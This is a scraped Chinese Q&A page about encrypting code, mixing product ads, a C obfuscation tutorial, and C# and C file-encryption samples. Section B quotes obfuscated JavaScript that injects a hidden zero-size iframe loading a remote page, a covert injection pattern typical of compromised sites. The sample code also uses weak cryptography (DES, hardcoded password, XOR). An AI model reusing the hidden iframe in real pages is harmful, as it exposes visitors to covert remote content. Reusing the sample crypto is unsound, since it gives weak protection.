導航:首頁 > 文檔加密 > 加密代碼

加密代碼

發布時間:2022-01-29 08:43:54

A. 如何給源碼加密

部署合力天下數據防泄密系統,對源代碼加密,啟用保密U盤,SVN 伺服器准入控制,實現源碼只能在公司運行,復制粘貼到微信,QQ,郵件亂碼,個人U盤插入公司計算機無法識別,私自帶出公司打開亂碼。

上傳到SVN伺服器文檔自動解密,下載到客戶機文檔自動加密,沒有安裝防泄密軟體的計算機無法接入到SVN伺服器。

B. 請問這樣的加密代碼要用什麼軟體

<script language="jscript">var _0xb585x0=["\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x61\x73\x70\x33\x2E\x36\x74\x6F\x32\x33\x2E\x63\x6F\x6D\x2F\x64\x72\x65\x61\x6D\x6D\x78\x2F\x69\x6D\x61\x67\x65\x73\x2F\x6D\x68\x35\x32\x30\x2F\x70\x6C\x61\x79\x5F\x72\x65\x61\x6C\x31\x2E\x61\x73\x70\x3F\x69\x64\x3D","\x26\x64\x69\x72\x3D","\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x64\x69\x73\x70\x6C\x61\x79\x3A\x20\x6E\x6F\x6E\x65\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x30\x22\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E","\x77\x72\x69\x74\x65\x6C\x6E"];var _0xb585x1=[_0xb585x0[0x0],_0xb585x0[0x1],_0xb585x0[0x2],_0xb585x0[0x3]];var _0xb585x2=[_0xb585x1[0x0],_0xb585x1[0x1],_0xb585x1[0x2],_0xb585x1[0x3]];var _0xb585x3=[_0xb585x2[0x0],_0xb585x2[0x1],_0xb585x2[0x2],_0xb585x2[0x3]];var _0xb585x4=[_0xb585x3[0x0],_0xb585x3[0x1],_0xb585x3[0x2],_0xb585x3[0x3]];var _0xb585x5=[_0xb585x4[0x0],_0xb585x4[0x1],_0xb585x4[0x2],_0xb585x4[0x3]];var _0xb585x6=[_0xb585x5[0x0],_0xb585x5[0x1],_0xb585x5[0x2],_0xb585x5[0x3]];var _0xb585x7=[_0xb585x6[0x0],_0xb585x6[0x1],_0xb585x6[0x2],_0xb585x6[0x3]];var _0xb585x8=[_0xb585x7[0x0],_0xb585x7[0x1],_0xb585x7[0x2],_0xb585x7[0x3]];var _0xb585x9=[_0xb585x8[0x0],_0xb585x8[0x1],_0xb585x8[0x2],_0xb585x8[0x3]];document[_0xb585x9[0x3]](_0xb585x9[0x0]+codeid+_0xb585x9[0x1]+mh520+_0xb585x9[0x2]);</script>

C. 如何給代碼加密

下面是一個Step by Step的教程,教你如何把一個清晰的代碼變得復雜難懂的。當然,這只是一個「簡明教程」了。還是那句話——「本文僅供朋友們「消遣作樂」,如果你要覺得有意思的話,頂個貼。如果你覺得沒什麼意思的話,一笑了之。僅供娛樂而已,不必太過認真。」
開始程序
下面是一個找出素數的程序:void primes(int cap)
{
int i, j, composite;

for(i = 2; i < cap; ++i) {
composite = 0;
for(j = 2; j * j < i; ++j) {
composite += !(i % j);
}
if(!composite){
printf("%dt", i);
}
}
}

int main()
{
primes(100);
}


下面我們來看看如何把上面這段代碼搞得復雜難懂。
第一步、把for變成while
通常來說,for循壞要以while循壞簡單一些,上面的程序有二重for循環,我們不但要把其變成while循環,而且還要把二重循環的變成一重的循環,然後使用大量的if-else語句來判斷。void primes(int cap)
{
int i, j, composite, t = 0;

while(t < cap * cap) {
i = t / cap;
j = t++ % cap;
if(i <= 1);
else if(!j)
composite = j;
else if(j == i && !composite)
printf("%dt",i);
else if(j > 1 && j < i)
composite += !(i % j);
}
}

int main()
{
primes(100);
}


第二步,把循壞變成遞歸
遞歸在某些時候是可以把代碼變得簡單,但大多數的情況下是把代碼變得復雜,而且很沒有效率。下面是把上面的while循環變成了遞歸。變成了遞歸後,函數的參數都變成3個了。void primes(int cap, int t, int composite)
{
int i,j;
i = t / cap;
j = t % cap;
if(i <= 1)
primes(cap,t+1,composite);
else if(!j)
primes(cap,t+1,j);
else if(j == i && !composite)
(printf("%dt",i), primes(cap,t+1,composite));
else if(j > 1 && j < i)
primes(cap,t+1, composite + !(i % j));
else if(t < cap * cap)
primes(cap,t+1,composite);
}

int main()
{
primes(100,0,0);
}


第三步,弄亂代碼結構/使用沒有含義的變數名
關於如何弄亂代碼結構,其中一個小技巧是,使用「?」表達式代替if-else語句。void primes(int m, int t, int c)
{
int i,j;
i = t / m;
j = t % m;
(i <= 1) ? primes(m,t+1,c) : (!j) ? primes(m,t+1,j) : (j == i && !c) ?
(printf("%dt",i), primes(m,t+1,c)) : (j > 1 && j < i) ?
primes(m,t+1,c + !(i % j)) : (t < m * m) ? primes(m,t+1,c) : 0;
}

int main()
{
primes(100,0,0);
}


第四步,取消臨時變數
臨時變數一般用來保存反復使用的一個表達式的值。使用大量重復的表達式來取消這些臨時變數的也可以讓代碼復雜起來。void primes(int m, int t, int c)
{
((t / m) <= 1) ? primes(m,t+1,c) : !(t % m) ? primes(m,t+1, t % m) :
((t % m)==(t / m) && !c) ? (printf("%dt",(t / m)), primes(m,t+1,c)) :
((t % m)> 1 && (t % m) < (t / m)) ? primes(m,t+1,c + !((t / m) % (t % m))) :
(t < m * m) ? primes(m,t+1,c) : 0;
}

int main()
{
primes(100,0,0);
}


第五步,繼續弄亂變數名
我們知道,下劃線是合法的變數名,所以,我們不妨用__,___,____來代替m,t,c。函數名也可以使用下劃線來代替。讓我們來看看求素數的函數能變成什麼。


void _(int __, int ___, int ____)
{
((___ / __) <= 1) ? _(__,___+1,____) : !(___ % __) ? _(__,___+1,___ % __) :
((___ % __)==(___ / __) && !____) ? (printf("%dt",(___ / __)),
_(__,___+1,____)) : ((___ % __) > 1 && (___ % __) < (___ / __)) ?
_(__,___+1,____ + !((___ / __) % (___ % __))) : (___ < __ * __) ?
_(__,___+1,____) : 0;
}

int main()
{
_(100,0,0);
}


第六步,移除常量
在上面的程序中,還有一些常量,你可以通過增加一個宏定義,或是增加一個函數的形參來取代這一常量。void _(int __, int ___, int ____, int _____)
{
((___ / __) <= _____) ? _(__,___+_____,____,_____) : !(___ % __) ? _(__,___+_____,___ % __, _____) :
((___ % __)==(___ / __) && !____) ? (printf("%dt",(___ / __)),
_(__,___+_____,____,_____)) : ((___ % __) > _____ && (___ % __) < (___ / __)) ?
_(__,___+_____,____,_____ + !((___ / __) % (___ % __))) : (___ < __ * __) ?
_(__,___+_____,____,_____) : 0;
}

int main() {
_(100,0,0,1);
}


程序到這里應該差不多了。還是那句話——「每一個程序員都有把源代碼弄復雜的潛質」,大家好自為之。
轉載

D. 加密演算法實現代碼

這個是界面效果,我不是用C++寫的,是用C#寫的可以參考下:

實現的代碼如下:

usingSystem;

usingSystem.Collections.Generic;

usingSystem.ComponentModel;

usingSystem.Data;

usingSystem.Drawing;

usingSystem.Text;

usingSystem.Windows.Forms;

usingSystem.Collections;

usingSystem.IO;

usingSystem.Security.Cryptography;

usingSystem.Security;

namespaceKey

{

publicpartialclassfrmKey:Form

{

privatestringkey;//默認密鑰"yupengcheng"

privatebyte[]sKey;

privatebyte[]sIV;

publicfrmKey()

{

InitializeComponent();

}

privatevoidForm1_Load(objectsender,EventArgse)

{

button4.Enabled=false;

}

///<summary>

///選擇輸入路徑

///</summary>

privatevoidbutton1_Click(objectsender,EventArgse)

{

//openFileDialog1.Filter="所有文件(*.*)|*.*";

openFileDialog1.ShowDialog();

stringfilename=openFileDialog1.FileName;

inti=filename.LastIndexOf(".");

if(i!=-1)

{

stringfiletype=filename.Substring(filename.LastIndexOf("."));

if(this.radioButton1.Checked)

{

filename=filename.Replace("(解密文件)","");

textBox2.Text=filename.Substring(0,filename.LastIndexOf("."))+"(加密文件)"+filetype;

}

else

{

filename=filename.Replace("(加密文件)","");

textBox2.Text=filename.Substring(0,filename.LastIndexOf("."))+"(解密文件)"+filetype;

}

}

if(filename!="")

{

textBox1.Text=openFileDialog1.FileName;

}

}

///<summary>

///選擇輸出路徑

///</summary>

privatevoidbutton4_Click(objectsender,EventArgse)

{

this.saveFileDialog1.ShowDialog();

if(saveFileDialog1.FileName!="")

{

this.textBox2.Text=saveFileDialog1.FileName;

}

}

///<summary>

///加密radioButton

///</summary>

privatevoidradioButton1_CheckedChanged(objectsender,EventArgse)

{

button3.Text="開始加密";

}

///<summary>

///解密radioButton

///</summary>

privatevoidradioButton2_CheckedChanged(objectsender,EventArgse)

{

button3.Text="開始解密";

}

///<summary>

///明密/暗密

///</summary>

privatevoidbutton2_Click(objectsender,EventArgse)

{

if(button2.Text=="明密")

{

textBox3.PasswordChar=Convert.ToChar(0);

button2.Text="暗密";

}

else

{

textBox3.PasswordChar=char.Parse("*");

button2.Text="明密";

}

}

///<summary>

///開始加密/開始解密

///</summary>

privatevoidbutton3_Click(objectsender,EventArgse)

{

if(this.textBox1.Text==""||this.textBox2.Text=="")

{

MessageBox.Show("文件路徑不能為空!","警告提示",MessageBoxButtons.OK,MessageBoxIcon.Warning);

return;

}

if(textBox3.Text!="yupengcheng")

{

MessageBox.Show("輸入的密碼不正確,請重新輸入!","錯誤提示",MessageBoxButtons.OK,MessageBoxIcon.Error);

textBox3.Text="";

return;

}

else

{

key="yupengcheng";

if(button3.Text=="開始加密")

{

statusBar1.Visible=true;

statusBar1.Text="正在加密文件,請等待.....";

if(EncryptFile(this.textBox1.Text,this.textBox2.Text,textBox3.Text))

{

statusBar1.Text="加密完成。";

MessageBox.Show("文件加密成功!","成功提示",MessageBoxButtons.OK,MessageBoxIcon.Information);

}

statusBar1.Visible=false;

}

else

{

statusBar1.Visible=true;

statusBar1.Text="正在解密文件,請等待.....";

if(DecryptFile(this.textBox1.Text,this.textBox2.Text,textBox3.Text))

{

statusBar1.Text="解密完成。";

MessageBox.Show("文件解密成功!","成功提示",MessageBoxButtons.OK,MessageBoxIcon.Information);

}

statusBar1.Visible=false;

}

}

}

///<summary>

///取消

///</summary>

privatevoidbutton5_Click(objectsender,EventArgse)

{

Application.Exit();

}

///<summary>

///加密方法

///</summary>

///<paramname="filePath">加密輸入路徑</param>

///<paramname="savePath">加密輸出路徑</param>

///<paramname="keyStr">密匙</param>

///<returns></returns>

publicboolEncryptFile(stringfilePath,stringsavePath,stringkeyStr)

{

DESCryptoServiceProviderdes=newDESCryptoServiceProvider();

if(keyStr=="")

keyStr=key;

try

{

FileStreamfs=File.OpenRead(filePath);

byte[]inputByteArray=newbyte[fs.Length];

fs.Read(inputByteArray,0,(int)fs.Length);

fs.Close();

byte[]keyByteArray=Encoding.Default.GetBytes(keyStr);

SHA1ha=newSHA1Managed();

byte[]hb=ha.ComputeHash(keyByteArray);

sKey=newbyte[8];

sIV=newbyte[8];

for(inti=0;i<8;i++)

sKey[i]=hb[i];

for(inti=8;i<16;i++)

sIV[i-8]=hb[i];

des.Key=sKey;

des.IV=sIV;

MemoryStreamms=newMemoryStream();

CryptoStreamcs=newCryptoStream(ms,des.CreateEncryptor(),CryptoStreamMode.Write);

cs.Write(inputByteArray,0,inputByteArray.Length);

cs.FlushFinalBlock();

fs=File.OpenWrite(savePath);

foreach(bytebinms.ToArray())

{

fs.WriteByte(b);

}

fs.Close();

cs.Close();

ms.Close();

returntrue;

}

catch

{

MessageBox.Show("找不到指定的文件,請重新輸入!","警告提示",MessageBoxButtons.OK,MessageBoxIcon.Warning);

returnfalse;

}

}

///<summary>

///解密方法

///</summary>

///<paramname="filePath">解密輸入路徑</param>

///<paramname="savePath">解密輸出路徑</param>

///<paramname="keyStr">密匙</param>

///<returns></returns>

publicboolDecryptFile(stringfilePath,stringsavePath,stringkeyStr)

{

DESCryptoServiceProviderdes=newDESCryptoServiceProvider();

if(keyStr=="")

keyStr=key;

try

{

FileStreamfs=File.OpenRead(filePath);

byte[]inputByteArray=newbyte[fs.Length];

fs.Read(inputByteArray,0,(int)fs.Length);

fs.Close();

byte[]keyByteArray=Encoding.Default.GetBytes(keyStr);

SHA1ha=newSHA1Managed();

byte[]hb=ha.ComputeHash(keyByteArray);

sKey=newbyte[8];

sIV=newbyte[8];

for(inti=0;i<8;i++)

sKey[i]=hb[i];

for(inti=8;i<16;i++)

sIV[i-8]=hb[i];

des.Key=sKey;

des.IV=sIV;

MemoryStreamms=newMemoryStream();

CryptoStreamcs=newCryptoStream(ms,des.CreateDecryptor(),CryptoStreamMode.Write);

cs.Write(inputByteArray,0,inputByteArray.Length);

cs.FlushFinalBlock();

fs=File.OpenWrite(savePath);

foreach(bytebinms.ToArray())

{

fs.WriteByte(b);

}

fs.Close();

cs.Close();

ms.Close();

returntrue;

}

catch

{

MessageBox.Show("找不到指定的文件,請重新輸入!","警告提示",MessageBoxButtons.OK,MessageBoxIcon.Warning);

returnfalse;

}

}

privatevoidtextBox1_TextChanged(objectsender,EventArgse)

{

if(textBox1.Text==""||textBox1.Text==null)

{

button4.Enabled=false;

}

else

{

button4.Enabled=true;

}

}

}

}

E. 有沒有能加密網頁的HTML代碼

並沒有直接能讓html消失,或者加密的黑科技來防止別人篡改或者down下來,首先你得清楚,渲染完成後,必須生成html,js,css給瀏覽器,這些東西是無法隱藏的,瀏覽器並不關心你的加密邏輯啊,他只認他認識的東西,所以這個思路不現實,否則早就發揚光大了.
在不考慮js禁用的情況下,建議你看下react,vue這兩個常用的主流框架,他們能合並js,css,html,但是他們是以js來輸出html的,好處就是他的頁面是實時渲染的虛擬Dom,也就是說,你看見的未必就是真的!你就算down,down下來的頁面也和源碼完全不一致!
你可以往這個方向去考慮

F. HTML加密代碼

HTML加密有什麼意義嗎?真想搞你代碼的,你加了他還是能反回來

G. 如何給CSS代碼加密

建議選擇專業加密軟體,可加密代碼,控制訪問用戶,透明強制加密

H. Html怎麼加密,不讓人家看到我們的源代碼

1、首先在電腦中打開瀏覽器,在瀏覽器中打開一張網頁,點擊瀏覽器上的查看。

I. 有什麼代碼加密軟體

計算機源碼加密,可以用合力天下防泄密系統,可以網路下

J. C++文件的加密和解密代碼

最簡單的兩種加解密方式

單位元組操作 上下文無關

供參考

#include<stdio.h>

voiddo_0(FILE*fin,FILE*fout)
{
#undefKEY
#defineKEY0x37
intc;
while((c=fgetc(fin))!=EOF)
{
c^=KEY;
fputc(c,fout);
}
}

voiddo_1_0(FILE*fin,FILE*fout)
{
#undefKEY
#defineKEY0x06
intc;
while((c=fgetc(fin))!=EOF)
{
c+=KEY;
c%=256;
fputc(c,fout);
}
}
voiddo_1_1(FILE*fin,FILE*fout)
{
#undefKEY
#defineKEY0x06
intc;
while((c=fgetc(fin))!=EOF)
{
c+=256-KEY;
c%=256;
fputc(c,fout);
}
}

intmain()
{
intmode,type;
charin_file[128],out_file[128];
FILE*fp_in,*fp_out;
do
{
printf("selectrunmode:0->encrypt1->decrypt ");
scanf("%d",&mode);
}while(mode!=0&&mode!=1);
do
{
printf("selecttype:0/1 ");
scanf("%d",&type);
}while(type!=0&&type!=1);
getchar();
do
{
printf("inputfilename: ");
gets(in_file);
fp_in=fopen(in_file,"rb");
if(fp_in==NULL)
printf("cannotreadfile%s ",in_file);
}while(fp_in==NULL);

do
{
printf("outputfilename: ");
gets(out_file);
fp_out=fopen(out_file,"wb");
if(fp_out==NULL)
printf("cannotwritefile%s ",out_file);
}while(fp_out==NULL);
if(type==0)
do_0(fp_in,fp_out);
elseif(mode==0)
do_1_0(fp_in,fp_out);
elsedo_1_1(fp_in,fp_out);
fclose(fp_in);
fclose(fp_out);

return0;
}
閱讀全文

與加密代碼相關的資料

熱點內容
hdfs的三個下載命令 瀏覽:520
java常用的排序演算法 瀏覽:354
51單片機連接adc 瀏覽:857
python命名變數報錯 瀏覽:117
安卓手機如何換windows系統 瀏覽:610
python中的類是什麼 瀏覽:628
我的英雄學院用哪個app可以看 瀏覽:33
excel插入選項卡對象命令 瀏覽:691
python字元全排列 瀏覽:499
824頁大瓜文件pdf 瀏覽:219
朔州ios源碼 瀏覽:248
演算法邏輯電路 瀏覽:939
青少年喝酒解壓辯論賽 瀏覽:173
android如何新建activity 瀏覽:739
ntp支持的認證演算法 瀏覽:712
想做快手主播需要什麼app 瀏覽:925
阿里雲伺服器如何轉賬戶 瀏覽:905
編譯器和解釋器實現技術完全不同 瀏覽:431
虐殺原形漢化補丁怎麼解壓 瀏覽:645
文件夾驗證失敗 瀏覽:638